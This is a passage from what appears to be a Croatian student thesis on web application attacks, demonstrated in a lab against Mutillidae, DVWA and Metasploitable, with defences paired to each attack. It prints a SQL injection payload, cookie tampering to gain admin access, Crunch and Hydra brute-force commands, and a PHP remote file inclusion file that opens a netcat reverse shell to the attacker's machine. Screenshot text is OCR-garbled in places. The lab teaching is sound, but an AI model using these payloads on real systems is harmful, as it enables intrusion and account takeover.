CElBll6b 69 65 3a 20 75 73 65 72 6e 61 6d 65 3d 61 GAMkie: use rname=ad|
0100 [LRCERGERCLICEl 53 65 74 2d 43 6f 6f 6b 69 65 3a WhEsset -Cookie
01160 20 75 69 64 3d 31 od 6a 4c 6f 63 61 74 69 6f Ge uid=1-- Location
01260 3a 20 69 6e 64 65 78 2e 70 68 70 Od @a 4c 61 73 : index. php--Las
01360 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 63 2c t-Modifi ed: Fri,

Slika 11 - Posluzitelj vra¢a uspjesnu prijavu i u Kolaci¢e sprema prijavljenog korisnika

Ukoliko se sigurnosne postavke poveéaju za jednu razinu, vrSi se provjera upisanog
korisniCkog imena i lozinke. Ne smiju sadrzavati nikakve posebne znakove, kad se napad
pokus$a izvrsiti na jednak nadin kao i u prethodnom slucaju pojavljuje se greska. To znaci da
je potrebno zaobici provjeru isklju€ivo na strani klijenta jer na ovoj sigurnosnoj postavki nema
provjere na posluziteljskoj strani. Kao Sto je vec bilo prikazano u prethodnom poglavlju,
koriste€i Burp Suite i njegov proxy posluZzitelj, moguce je zamijeniti paket nakon $to su provjere
na strani klijenta uspjesno prosle i na taj nacin zaobici i ovu sigurnosnu razinu. Zamjena paketa
je vidljiva u nastavku.

Burp Suite Community Edition v1.7.36 - Temporary Project e ® 0O
Burp Intruder Repeater Window Help
Target | x| pider | Scanner | Intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts
J Jntercept | HTTP history | websockets history | Options |
[#] Request to http://10.0.2.5:80
[ Forward || Drop | [Cinterceptis on | Action = EJ
Raw | Params | Headers | Hex
POST request to /mutillidae/index. php
.| value =T
Iogin_php
o Remove
... 65b5e3f7dabai8314aa70f694015eces
oo ivan un
... 123456' or 1=1# e
Login —

Slika 12 - Mijenjanje lozinke na proxy posluzitelju

Ukoliko se sigurna postavka povecéa na najve¢u mogucu, veoma je tesko izvrSiti SQL

Injection jer se i na strani posluZitelja provjerava valjanost korisni¢kog imena i lozinke. Provjera



se vr§i na nacin da se pomocu ,escapestring“ metode briSu svi nedozvoljeni znakovi koje je

napadac potencijalno mogao podmetnuti.

3.2.2.0brana od napada SQL Injection

SQL Injection je veoma opasan napad te se od njega treba na pravi nacin i zastiti. U
danasnje vrijeme je vrlo vjerojatno dovoljno koristiti neki moderan framework koji sadrZi
metode koje ne dozvoljavaju SQL Injection. Primjeri najbolje prakse govore da je potrebno
odvojiti SQL upite od podataka koji se prosljeduju tim upitima, takvi upiti se zovu
,Parametrizirani upiti“ i koriste se ciljano ba$ za obranu od SQL Injection napada. U nastavku

Ce biti primjer dobre i loSe prakse.
String query = "SELECT account balance FROM user data WHERE user name = "

+ request.getParameter ("customerName") ;

Upit pisan na nacin prikazan iznad je veoma 103 jer napada¢ moZe direktno upisati $to god Zeli

direktno u upit i na taj nacin unistiti ili ukrasti odredene podatke.

String custname = request.getParameter ("customerName") ;

//0vdje je poZeljno na odredeni nacin olistiti varijablu od neZeljenih znakova
String query = "SELECT account balance FROM user data WHERE user name = ? ";
PreparedStatement pstmt = connection.prepareStatement ( query );

pstmt.setString( 1, custname);

Na primjeru iznad je vidljivo da je upit na bazu odvojen od samog podatka koji se
prosljeduje te na taj nacin napadac ne moze direktno utjecati na upit. Sve $to napadac upise
¢e biti spremljeno u odredenu varijablu koja ¢e se zatim u obliku teksta spremiti u bazu
podataka. (,OWASP*, bez dat.)
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3.3. Insecure session management

Zbog razloga jer je HTTP protokol koji nema stanje (eng. stateless protocol) prilikom
svakog zahtjeva prema posluzitelju mora se na odredeni nacin istome i predstaviti da bi
posluzitelj znao o kojem HTTP zahtjevu se radi. To znadi da prilikom prvog HTTP zahtjeva
prema posluzitelju taj posluzitelj kreira odredeni Session Id kojeg Salje u odgovoru, te se taj
Session Id zatim sprema u Kolagice na strani klijenta. Prilikom iduéeg zahtjeva prema
posluzitelju, HTTP Salje taj Kolaci¢ te na taj nacin posluzitelj zna o kojem klijentu se radi. Nije
nuzno da se sesija kreira samo prilikom prijave korisnika u odredeni sustav, ve¢ i za neke

jednostavnije stvari poput jezi¢nih postavki itd.

Ukoliko se u Kolaci¢e spreme podatci koji nisu dovoljno zastic¢eni vrlo je lako zamijeniti
sesiju te se na taj nacin ,lazno® predstaviti posluzitelju i potencijalno biti u mogucnosti dohvatiti
tude podatke. U nastavku je prikazan jednostavan primjer ,krade” tude sesije. (,OWASP*, bez
dat.)

Da bi se Kolaci¢i mogli promijeniti na strani klijenta bilo je potrebno je instalirati ,,Cookie
Quick Manager” koji prikazuje sve Kolaci¢e pohranjene na raunalu te dopusta izmjenu istih.
Za prikaz ovog napada je koridtena forma za prijavu na web aplikaciji Mutillidae. Prijava je
izvrSena pomocu registriranih podataka koji su se koristili da bi se izvrSio i SQL Injection
(Korisni¢ko ime je lvan, dok je lozinka Ivan123). Nakon prijave, potrebno je pokrenuti ,Cookie

Quick Manager* &ije je sucelje vidljivo u nastavku.

/.
0.2.5 Q -  Context(s): Al j o Auto-refresh
Domains (1) Cookies Details
10.0.2.5 (3] PHPSESSID:3c5d0a2a7a8dafc6c7630165044c179 Domain 10.0.2.5
username:ivan First-

Name ol
Value 1
urt [Bed
aih Imutillidae/
Context Default j
httpOnly
sSecure
i ion [

Slika 13 - Mijenjanje KolaCi¢a
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Potrebno je zamijeniti podatak vezan za ,uid“. Vrijednost ,1“ je stavljena iz razloga jer
su u bazama podataka najées$ce administratori prvi u zapisu. Nakon osvjezavanja stranice
posluzitelj vra¢a prijavu administratora, isto je vidljivo na slici ispod u odgovoru posluzitelja

pomocu Wiresharka.

*eth0 (- IO ]

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
AM @ BORE A+» IwwTEaaat
|1‘Apptya display filter ... <Ctrl-/> =3 - Expression.. +
No. Time Source Destination Protocol Length Info 9

13 4.426617836 10.0.2.6 10.0.2.5 TCP 66 47146 ~ 80 [ACK] Seq=541 Ack=17377 Win=64000 Len=@ TSval=2795102583 TSecr=27 ——

14 4.426706061 10.0.2.5 10.8.2.6 TCP 1514 89 —~ 47146 [PSH, ACK] Seq=17377 Ack=541 Win=6912 Len=1448 TSval=2737147 TSec

15 4.426711454 10.0.2.6 10.0.2.5 TCP 66 47146 ~ 80 [ACK] Seq=541 Ack=18825 Win=66944 Len=0 TSval=2795102583 TSecr=27

16 4.429186249 10.0.2.5 10.8.2.6 TCP 4410 80 —~ 47146 [ACK] Seq=18825 Ack=541 Wil 912 Len=4344 TSval=2737147 TSecr=279

17 4.429198633 10.0.2.6 10.0.2.5 TCP 66 47146 ~ 80 [ACK] Seq=541 Ack=23169 Win=75648 Len=0 TSval=2795102585 TSecr=27

18 4.429690200 10.0.2.5 10.8.2.6 TCP 1264 80 —~ 47146 [PSH, ACK] Seq=23169 Ack=541 Win=6912 Len=1198 TSval=2737147 TSec

19 4.429723682 10.0.2.6 10.0.2.5 TCP 66 47146 ~ 80 [ACK] Seq=541 Ack=24367 Win=78464 Len=0 TSval=2795102586 TSecr=27

4.429739738 .0.2.5 0.2.6 356 HTTP/1.1 200 OK (text/html)
21 4.429742858 10.0.2.6 10.0.2.5 TCP 66 47146 ~ 80 [ACK] Seq=541 Ack=24657 Win=81408 Len=0 TSval=2795102586 TSecr=27
22 4.470748537 10.0.2.6 18.8.2.5 HTTP 574 GET /mutillidae/styles/global-styles.css HTTP/1.1

‘ >
~ Hypertext Transfer Protocol
» HTTP/1.1 200 OK\r\n

Date: Sat, 29 Aug 2020 00:54:42 GMT\r\n

Server: Apache/2.2.8 (Ubuntu) DAV/2\r\n

X-Powered-By: PHP/5.2.4-2ubuntu5.16\r\n

Expires: Thu, 19 Nov 1981 08:52:00 GMT\r\n

Logged-In-User: admin\r\n

Cache-Control: public\ri\n

Pragma: publich\rin

Last-Modified: Sat, 29 Aug 2020 00:54:42 GMT\r\n

Keep-Alive: timeout=15, max=180\r\n
08 00 27 S5e 51 52 08 00 27 7e 23 30 08 00 45 00
01 56 f@ cc 40 @0 40 06 30 ch 0a 00 02 €5 0a 00
02 06 00 50 b8 2a 98 11 92 7b 6e 9c f8 79 80 18
0@ 36 c5 3b 00 00 @1 01 ©8 ©a 00 29 c3 fc a6 99
el 79 31 31 36 ©d Ga 3c 73 63 72 69 70 74 20 74
79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63

-.< seript t
"tex t/javasc
Frame (356 bytes) = Reassembled TCP (24656 bytes) = De-chunked entity body (24248 bytes)

O 7 wireshark eth0 20200829083812 dI5RNN.ocapna Packets: 120 - Displaved: 120 (100.0%) - Drooped: 0 (0.0%)  Profile: Default

Slika 14 - PosluZitelj vraca prijavu administratora
Na ovome primjeru se jasno uo€ava da nije pametno spremati osjetljive podatke u Kolaci¢ima,

pogotovo u jednostavnom tekstualnom formatu koji se lako moze procitati i izmijeniti.
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3.4. Brute force

Brute force napadi su napadi koji na silu Zele otkriti lozinku korisnika da bi se prijavili u

odredeni sustav. To je jedna od najstarijih, ali i dalje najpopularnijih napadackih metoda. Kao

Sto i samo ime napada govori, napadac isprobava sve moguée kombinacije lozinki da bi uspio

saznati onu pravu, naravno, ne samostalno, ve¢ uz pomoc¢ raznih alata, dva od njih ¢e biti

prikazana u nastavku poglavlja.

Postoiji vise tipova brute force napada, neki od njih su:

Jednostavni brute force napad — Napadal pokuSava otkriti Sifru bez
asistencije nekog alata, to uspijeva kod veoma jednostavnih lozinki poput
Livan123“, istu uspijeva pogoditi jer je korisni¢ko ime npr. ,ivan®.

Dictionary napad — Napadac¢ odabire Zrtvu €ije korisni¢ko ime je poznato te uz
pomo¢ raznih kombinacija lozinki, uz pomo¢ alata, isprobava jednu po jednu
sve dok potencijalno ne otkrije pravu.

Hibridni brute force napad — Ovaj napad je odredena kombinacija
jednostavnog brute force napada i dictionary napada jer se lozinka pokusava
pronaci pomocu liste u kojoj se nalaze naj¢esée koristene rijeci uz kombinaciju
nasumiéno odabranih znakova. Lista npr. sadrzi rijeci : Grad, Selo, Cvijece,
Suma. Jedna od moguéih lozinki bi bila: Cvije¢eSelo3322.

Reverse brute force napad — Kao $to i samo ime govori, ovaj napad se
izvrSava kad je poznata lozinka Zrtve. Do te lozinke se moze doci u slu€aju
curenja osjetljivin podataka odredene web stranice na kojoj je zrtva bila
registrirana. Opce je poznato da ljudi koriste iste lozinke na raznim web
stranicama pa napadac onda vrsi brute force napad nad korisni¢kim imenima
ne bi li pronasao poklapanje.

Credential stuffing — Ukoliko napadal otkrije odredenu kombinaciju
korisniCkog imena i Sifre, tad tu kombinaciju isprobava na viSe razli€itih web
stranica. Razlog je isti kao i u napadu iznad, koristenje istih kombinacija na vise

razliitih mjesta. (,Kaspersky*, bez dat.)
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3.4.1.1zvodenje napada dictionary brute force

U nastavku poglavlja je prikazan primjer Dictionary brute force napada. Za potrebe
ovog rada se pokusala pogoditi jednostavnija lozinka da trazenje iste ne bi trajalo milijun
godina. Krenulo se pod pretpostavkom da je poznato korisni¢ko ime Zrtve te da lozinka ima
izmedu tri i Cetiri znaka. Smanjio se i moguci popis znakova koje lozinka smije sadrzavati. Kad
su bile odredene pocetne pretpostavke, bilo je potrebno izraditi ,Dictionary” lozinki koje su se
isprobavale brute force metodom. Za kreiranje se koristio alat na Kali Linuxu imena Crunch.

Sintaksa za pokretanje Cruncha je sljedeéa:

Crunch [min] [max] [characters] -t [pattern] -o [FileName]

Uzimajuéi u obzir prethodno spomenute pretpostavke, naredba kojom se stvara ,Dictionary*
je:
crunch 3 4 iv12 -o listalLozinki.txt

Pokretanjem ove naredbe u terminalu, alat je kreirao 320 razli€itih kombinacija lozinki. Razlog
za smanjivanjem broja znakova i mogucih znakova u lozinki je taj da se najprije krenulo u
testiranje s lozinkom koja ima izmedu Sest i osam znakova s vide od 20 mogucih koje smije

sadrzavati pa je to izgledalo otprilike ovako.

r

root@kali: ~ e ® 0

File Edit View Search Terminal Help

:~# crunch 6 8 abcdefgijklmnpzyx1234567890 -o listalozinki.txt
Crunch will now generate the following amount of data: 2628260597376 bytes
2506504 MB
GB

Crunch will now generate the following number of lines: 293277310173

Slika 15 — Crunch i kreiranje liste lozinki

KoriStenjem ove liste, da bi se izvrSio brute force napad se koristio alat Hydra. To je
alat koji se moze iskoristiti za izvrSavanje brute force napada na bilo $to gdje je potrebno upisati
korisni¢ko ime i lozinku. U ovom slucaju, to je web stranica Mutillidae. Za uspjeSno izvrSavanje
napada bilo je potrebno upisati sliede¢u naredbu u terminal Kali Linuxa:
hydra 10.0.2.5 -1 ivanz -P /root/listalozinki.txt http-post-form

"/mutillidae/index.php?page=login.php:username="USER"&password="PASS*&login

-php-submit-button=Login:F=Not Logged In"
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Naredba se sastoji od klju¢ne rije€i hydra, IP adrese na kojoj se web stranica nalazi,
korisnikog imena za kojeg se pokuSava pronaci lozinka, putanje do prethodno kreirane liste
lozinki i vrste zahtjeva koji se Salje prema posluzitelju. Dio ,Login:F=Not Logged In“ je veoma
bitan jer se alatu daje do znanja koji odgovor mora dobiti kad prijava nije uspjela, u slu¢aju kad
je odgovor drukgiji, to znaci da je napad uspjesno izvrSen i lozinka je otkrivena. Prilikom
izvrS§avanja napada je bio upaljen Wireshark da bi se ulovila komunikacija izmedu alata hydra

i posluzitelja, kako je to izgledalo, vidljivo je u nastavku.

*eth0 e 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
BA® 0 RE aQ«» s ]EaaafF

[ [http <] ~| Expression...
Time Source Destination Protocol Length Info

38.422486639 10.0.2.5 10.0.2.6 HTTP 66 HTTP/1.1 302 Found text/html

2.819386668 10.0.2.6 16.8.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.8 (application/x-www-form-urlencoded)
2.838356956 10.0.2.6 108.0.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.©@ (application/x-www-form-urlencoded)
2.853038132 10.0.2.6 10.8.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.@ (application/x-www-form-urlenceded)
3.959825573 10.0.2.6 16.8.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.8 (application/x-www-form-urlencoded)
3.960494371 10.0.2.6 10.0.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.@ (application/x-www-form-urlencoded)
3.960594684 10.0.2.6 10.0.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.@ (application/x-www-form-urlencoded)
3.972109834 10.0.2.6 10.0.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.0 (application/x-www-form-urlencoded)
3.972200458 10.0.2.6 16.8.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.8 (application/x-www-form-urlencoded)
3.992378776 10.0.2.6 108.0.2.5 HTTP 347 POST /mutillidae/index.php?page=login.php HTTP/1.©@ (application/x-www-form-urlencoded)

] »
Destination: 10.0.2.6
+ Transmission Control Protocol, Src Port: 80, Dst Port: 51822, Seq: 25761, Ack: 283, Len: 0
» [8 Reassembled TCP Segments (25760 bytes): #5144(4344), #5146(5792), #5148(7240), #5150(1448), #5152(4344), #5154(2314), #5156(278), #5158(0)]
~ Hypertext Transfer Protocol
» HTTP/1.1 302 Found\r\n
Date: Sat, 29 Aug 2020 05:89:47 GMT\r\n
Server: Apache/2.2.8 (Ubuntu) DAV/2\r\n
X-Powered-By: PHP/5.2.4-2ubuntu5.10\r\n
Expires: Thu, 19 Nov 1981 08:52:00 GMT\r\n
Logged-In-User: ivan2\r\n
cache-Control: public\rin
P s madald ol el
. »
0Ba® 35 32 3a 30 30 20 47 4d 54 0d Ga [IEEGECTAGTAGE 52:00 GM T- -GG
cLICRN64 2d 49 6e 2d 55 73 65 72 3a 20 69 76 61 Ge 32| d-In-Use r: ivan2]
00cH [LREE 43 61 63 68 65 2d 43 6f 6e 74 72 6 6c 3a @MCache- Control:
20 70 75 62 6c 69 63 0d Oa 50 72 61 67 6d 61 3a public. -Pragma:
20 70 75 62 6c 69 63 @d 0a 53 65 74 2d 43 6T 6f public- -Set-Coo
6b 69 65 3a 20 75 73 65 72 6e 61 6d 65 3d 69 76 kie: use rname=iv

Slika 16 - Brute force napad alatom Hydra ulovljen Wiresharkom

Filtrirao se samo protokol ,HTTP“ i vidljivo je da je prije pogodene lozinke prethodilo mnogo
pogresnih pokusaja napada. U trenutku kad je lozinka pogodena posluzitelj je vratio poruku
“302 Found®. Na samoj strani napadaca vidljiva je sljede¢a poruka o uspjesSno izvrSenom

napadu.

Hydra (http:/ .thc.org/thc-hydra) starting at 20-08-29 12:
[DATA] max 16 5 rver, overall 16 0
[DATA] attack t-form://10.8.2.5:

word="PA gin-php-submit-button=Logi
[80][http-post-form] host: 10.0.2.5 login: ivan2
1 of 1 tar suc ully comp ed, 1 valid pa
Hydra (http www.thc.org/thc-hydra) finished

Slika 17- Alat Hydra i uspjeSan napad
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3.4.2.0brana od napada dictionary brute force

Postoji viSe naina obrane od brute force napada. Jedan od naj¢eséih nacina je
zakljuavanje korisni¢kog racuna nakon nekoliko pogresnih poku$aja prijave, jedina osoba
koja u tom slu€aju moZe otklju€ati racun je administrator. Ova metoda je veoma efektivna, ali
ako se nakon npr. tri neuspjedna pokusaja prijave racun zaklju€a, a napadac poku$ava probiti
u viSe od jednog racuna, odredeni servis je nedostupan tim korisnicima tako dugo dok

administrator ne otkljuca iste.

Metoda sli¢na prijadnjoj se takoder bazira na zaklju€avanju racuna, ali na progresivnoj
odgodi moguceg upisivanja korisnickog imena i lozinke. Prilikom prva tri pogreSna upisa se
racun zaklju¢a npr. na vremenski period od jednog sata, nakon otklju¢avanja, ukoliko se opet
pogrijesi lozinka, racun se zaklju€a na vremenski period od dva sata. Na taj nacin se sprjeCava
brute force napad na jednak nacin kao i u prethodnom slucaju, ali administratori potencijalno

imaju manje posla, a korisnici mogu koristiti servis puno ranije jer ne ovise o administratorima.

Tre¢a metoda obrane od napada je koriStenje alata reCaptcha kojeg je moguée bez
puno muke implementirati na vlastitu web stranicu. Alat stvara odredeno polje za unos koje se
moZze nalaziti ispod polja za unos korisniCkog imena i lozinke te zahtjeva unos odredene
kombinacije brojeva ili slova prikazanih korisniku na ekranu. Na taj nadin korisnik zaista
dokazuje da je korisnik, a ne stroj tj. alat poput Hydre koja ne moze procitati tu kombinaciju
slova i brojeva pa automatski padne na tom testu pa se korisnicko ime i lozinka niti ne Salju do

posluzitelja na provjeru.

Korisnici bi takoder trebali biti svjesni svih opasnosti koje vrebaju pa je i njihova zadaca
da uvijek koriste komplicirane lozinke. Vecina web stranica, prilikom registracije, zahtijeva da
lozinka ima viSe od npr. osam znakova te da sadrzava slova, brojeve i barem jedan specijalni
znak. To ne rjeSava problem ukoliko je korisnicko ime korisnika ,lvanKuster®, a lozinka je
»IvanKuster123!“, napadaC vrlo lako moze probiti tu lozinku iako sadrZzava sve zahtijevano.
Ukoliko je lozinka dovoljno komplicirana, npr. ,Al3c#BkK2p!c* veoma ju je teSko probiti jer bi
samo alatu Crunch trebao veliki raspon znakova da kreira sve moguce lozinke te bi vjerojatno
kreirao viSe petabajta podataka. Alatu Hydra bi trebalo milijun godina da ih sve isproba.
Definitivno ne govorimo u slu€aju da korisnik ima toliku nesre¢u da je njegova lozinka odmah
prva na popisu lozinki koje se isprobavaju ili da napadac ima raCunalo izuzetno velike snage.

(,ComputerWeekly“, bez dat.)
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3.5. Remote file inclusion

RFI napad je napad prilikom kojeg se odredeni podatci spremljeni na nekom drugom
posluzitelju spremaju na web stranicu zrtve. Ova moguénost ima smisla ukoliko se zele
prikazati neke korisne stvari koje se nalaze na nekog drugoj web stranici, ali ukoliko se
sigurnosne postavke ovog ukljuivanja podese na pogreSan nacin, moze dovesti do
ukljucivanja npr. zlonamjerne skripte koja dovodi do RFI napada. RFI napad se izvrSava na
nacin da se u URL upiSe putanja do odredene datoteke koja je spremljena na npr. posluzitelju
napadaca. Posluzitelj dohvaca tu datoteku i izvrS8ava npr. zlonamjeran kod pisan u php-u

unutar te datoteke jer je i back-end web stranice pisan u php-u.

Svaka web stranica ima odreden popis stranica koje se mogu prikazati na istoj te se
mijenjanje istih vrSi preusmjeravanjem unutar URL-a koji izgleda na sljedeci nadcin:

https://primjer.com/index.php?page=kontakti.php.

.Kontakti.php* je varijabilni dio koji se mijenja ovisno o tome na kojem se ,pageu“ unutar te
web stranice nalazili. Ukoliko nema odredene provjere je li to $to Zelimo prikazati kao stranicu
na odredenoj ,whitelisti“ otvara se prostor za RF| napad jer dolazi do prilike da se ukljudi
odredena zlonamjerna datoteka. URL bi u tom slu€aju potencijalno mogao izgledati na sljedeci
nacin:
https://primjer.com/index.php?page=https://napadaci.com/uploads/webshell.tx
t. (https://www.netsparker.com/blog/web-security/remote-file-inclusion-

vulnerability/)

U prakticnom dijelu testiranja ovog napada se pokuSala ostvariti tzv. ,reverse” veza s
posluzitelja zZrtve prema posluzitelju napadaca. U tom slu€aju napada¢ moze pristupiti bilo kojoj
datoteci koja se nalazi na posluzitelju. Napadac je tad u prilici npr. prenijeti odredene osjetljive
podatke na svoje racunalo, prenijeti odredenu malicioznu datoteku da srusi posluzitelj Zrtve ili

istoj napakostiti na neki drugi nacin.
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https://primjer.com/index.php?page=kontakti.php

3.5.1.1zvodenje napada remote file inclusion

Za ovaj napad se pokus$ala ostvariti ,reverse” veza s Metasploitable posluZitelja prema
Kali Linuxu. Najprije je na raCunalu napadaCa kreirana odredena datoteka koja sadrzava
sljedece linije koda:
<?php
Passthru(“nc -e /bin/sh/ 10.0.2.6 8080"%);
2>

Koristila se php naredba ,Passthru” koja moze pokrenuti bilo koju naredbu operativnog
sustava. Kljuéna rije¢ ,nc" oznaCava netcat koji se koristi jer se zeli stvoriti veza prema racunalu

napadaca, zato je upisana IP adresa apache posluzitelja na Kali Linuxu, a ne Metasploitablea.

Nakon §to je skripta napravljena, potrebno je u terminal Kali Linuxa upisati sljedec¢u naredbu:
nc -vv -1 -p 8080
Naredba iznad pokrece netcat koji ,prisluskuje” na portu 8080 te Eeka na konekciju, u trenutku

kad se RFI uspjesno izvrsi ovdje se prikazuje ostvarena veza. U trenutku kad su postavljeni

svi preduvijeti, potrebno je na web stranici ,DVWA® upisati sljedecu liniju u URL:

10.0.2.5/dvwa/vulnerabilities/fi/?page=http://10.0.2.6/reverse.txt?

U trenutku osvjezavanja stranice na racdunalu napadaca netcat je stvorio ,reverse® konekciju

te se isto i prikazalo u terminalu Kali Linuxa u sljedeéem obliku.

root@kali: ~ e ®

File Edit View Search Terminal Help
:~# nc -vv -1 -p 8080
listening on [any] 8080 s
10.0.2.5: inverse host lookup failed: Unknown host
connect to [10.0.2.6] from (UNKNOWN) [10.0.2.5] 49809
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 G
NU/Linux
1s
help
include.php
index.php

sqli blind

upload

view help.php

view source.php
view source all.php

Slika 18 - Prisluskivanje na portu 8080 i otvaranje konekcije
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Kao sto je i vidljivo na slici iznad, ostvarena je veza izmedu racunala Zrtve i raCunala napadaca
te je napada¢ u moguénosti kretati se posluziteliem kao da je njegov vlastiti. Komunikacija je

najbolje vidljiva prilikom pokretanja Wiresharka.

(@) kali [Running] - Oracle VM VirtualBox = B

Places = V hark Sun12:52
*ethO e O
File Edit View Go Capture Analyze 5Statistics Telephony Wireless Tools Help

4 m © B RGE Q@ « » Je s |=aaaqF

(F Jtep B3l - Expression.. +

No. Time Source Destination Protocol Length Info

.DEEOERERO .2.6 . . 72 8080 — 49809 ACK] Seg=1 Ac
2 0.036868390 16.8.2.5 10.8.2.6 TCP 66 49809 —~ 8088 [ACK] Seg=1 Ack=7 Wi
7 5.941969229 10.0.2.6 18.8.2.5 TCP 69 8080 — 49809 [PSH, ACK] Seq=7 Ack
8 5.942214151 18.8.2.5 10.0.2.6 TCP 66 49809 — 8080 [ACK] Seg=1 Ack=1@ W
9 5.943247781 16.8.2.5 10.8.2.6 TCP 170 49809 —~ 8088 [PSH, ACK] Seq=1 Ack
18 5.943257456 10.0.2.6 18.8.2.5 TCP 66 8080 —~ 49809 [ACK] Seg=18 Ack=18%
11 7.358454491 16.8.2.6 172.217.21.142 TLSv1.2 93 Application Data

am o mracaooea an Ao maTr ma e an BN B S S,

4 »
[Calculated window size: 227] =
[Window size scaling factor: -1 (unknown)]

Checksum: 0x1837 [unverified]

[Checksum Status: Unverified]

Urgent pointer: ©
» Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
» [SEQ/ACK analysis]
» [Timestamps]

TCP payleoad (6 bytes) E

6060 ©8 00 27 7e 23 30 08 00 27 5e 51 52 08 00 45 0@ - '~#0 - 'AQR- E-
6616 ©0 3a 54 62 40 G0 40 06 ce 51 Ga 00 02 06 @a 00 - :Th@ @ Q- - - -
6626 ©2 05 1f 90 c2 91 61 bl 15 9e b6 ae 49 57 80 18 cae -e-eIW--

60 e3 18 37 00 00 01 61 08 0a 06 1d a3 d5 08 B0  ---T---- -ceoe-n-

0040 d4 B2 ..
Slika 19 - Komunikacija izmedu napadaca i zrtve

Jasno se vidi konstantna komunikacija izmedu IP adrese 10.0.2.5i IP adrese 10.0.2.6. Unutar
,TCP payload“ vidljivo je slanje naredbi od strane napadaca prema Zrtvi. U ovom slu¢aju ,cd
.ili ,Is“ da bi se promijenila trenutna pozicija u putanji na posluZzitelju i procitale sve dostupne

datoteke na istoj.
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3.5.2.0brana od napada remote file inclusion

Napad opisan u prijaSnjem poglavlju je izvrSen na niskim sigurnosnim postavkama
DVWA web aplikacije jer nema nikakvih provjera stranica koje se mogu ukljuciti u URL kao sto

je vidljivo u nastavku.

<?php
$file = $ GET['page'];

?>

Pomocu GET metode se dohvaca parametar upisan u URL, nema dodatnih provjera i

zlonamjerna skripta se veoma lako okida na posluzitelju.

U trenutku kad su se sigurnosne postavke postavile na najviSsu mogucu razinu napad
vide nije bilo mogucée izvrsiti na isti nacin jer postoji provjera upisanog parametra, isto je vidljivo

u nastavku.

<?php

$file = $ GET['page']l;

if ( $file != "Kontakti.php" ) {
echo "ERROR: Datoteka nije pronadena!";
exit;

?>

U slu€aju iznad je moguée prikazati samo stranicu ,Kontakti.php“, sve ostalo poslano kao

parametar se nece prikazati niti izvrsiti.
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4. Zakljuéak

U ovome radu je koriSteno nekoliko razli¢itih metoda napada. Krenulo se teoretskim
opisivanjem istih da bi lak$e bilo shvatiti sam prakti¢ni dio koji slijedi, u vecini napada su bile
navedene odredene pocetne pretpostavke da bi isti uspio. PokuSali su se pokazati primjeri
najbolje prakse kako se od tih napada najbolje zastititi. U testiranjima napada je uvelike
pomogao Kali Linux jer sadrZi mnoge alate koji su bili od koristi, jednako tako, Metasploitable
je savrdeno posluZio kao Zrtva na kojoj su svi ti napadi isprobani. Mijenjajuci sigurnosne
postavke, bile su prikazane razlike u kodu, kako na strani klijenta, tako i na strani posluZitelja.
Uocavajuéi razlike, objasnjeno je zasto se napad vide ne moze izvrsiti na isti nacin, ukoliko je
to bilo moguce, napad se izvrSio na drugaciji na¢in i u mnogim slu¢ajevima ni najvise
sigurnosne razine nisu bile dovoljne da bi se zastitilo od istog. Naravno, svi ovi napadi su bili
izvrSeni u laboratorijskim® uvjetima u kojima je sve savrSeno posloZeno da bi se napad izvrSio.
Nigdje u realnom svijetu nije moguce samo tako na strani Zrtve omoguditi proxy posluzitelj da
bi se paketi presreli pomoc¢u Burp Suitea i zamijenili u letu na nagin kako je to prikazano u

ovome radu.

Kao $to je to vec ranije spomenuto, bilo je bitno odrediti poetne pretpostavke prije
samog izvrSavanja napada. Ovaj dio je bio najbitniji prilikom izvr§avanja napada brute force
metodom jer se naiSlo na dva problema prilikom testiranja istog. Nadobudno je bilo ubaciti
lozinku duljine od osam znakova te mogucnost da lozinka sadrzi viSe od dvadeset znakova. U
trenutku kad je Crunch trebao kreirati sve kombinacije tih lozinki i prikazao da ¢e kreirati viSe
petabajta podataka moralo se ocajnickim metodama prekidati procese. Jednako tako, nakon
Sto se isto probalo kreirati sa samo osam mogucih znakova u lozinki i ve¢ se prakticki doslo
do kraja napada, samo je jo$ alat Hydra morao isprobati nekih Sest milijuna kombinacija lozinki,
isti je u terminalu ispisao da ¢e mu za to trebati nekih sedamsto sati pa se moralo krenuti

ispoCetka.

Sve prethodno je navedeno zato da se vidi koliko je teSko obi€nom smrtniku izvrSiti
neke napade bez pravih resursa, a da mu za to nije potrebno barem sto Zivota. Teoretski je
sve napade moguce izvrsiti, pogotovo u ovim laboratorijskim uvjetima, ali u praksi, uz

koriStenje najboljih praksi za zastitu od istih, to je ve¢ druga prica.
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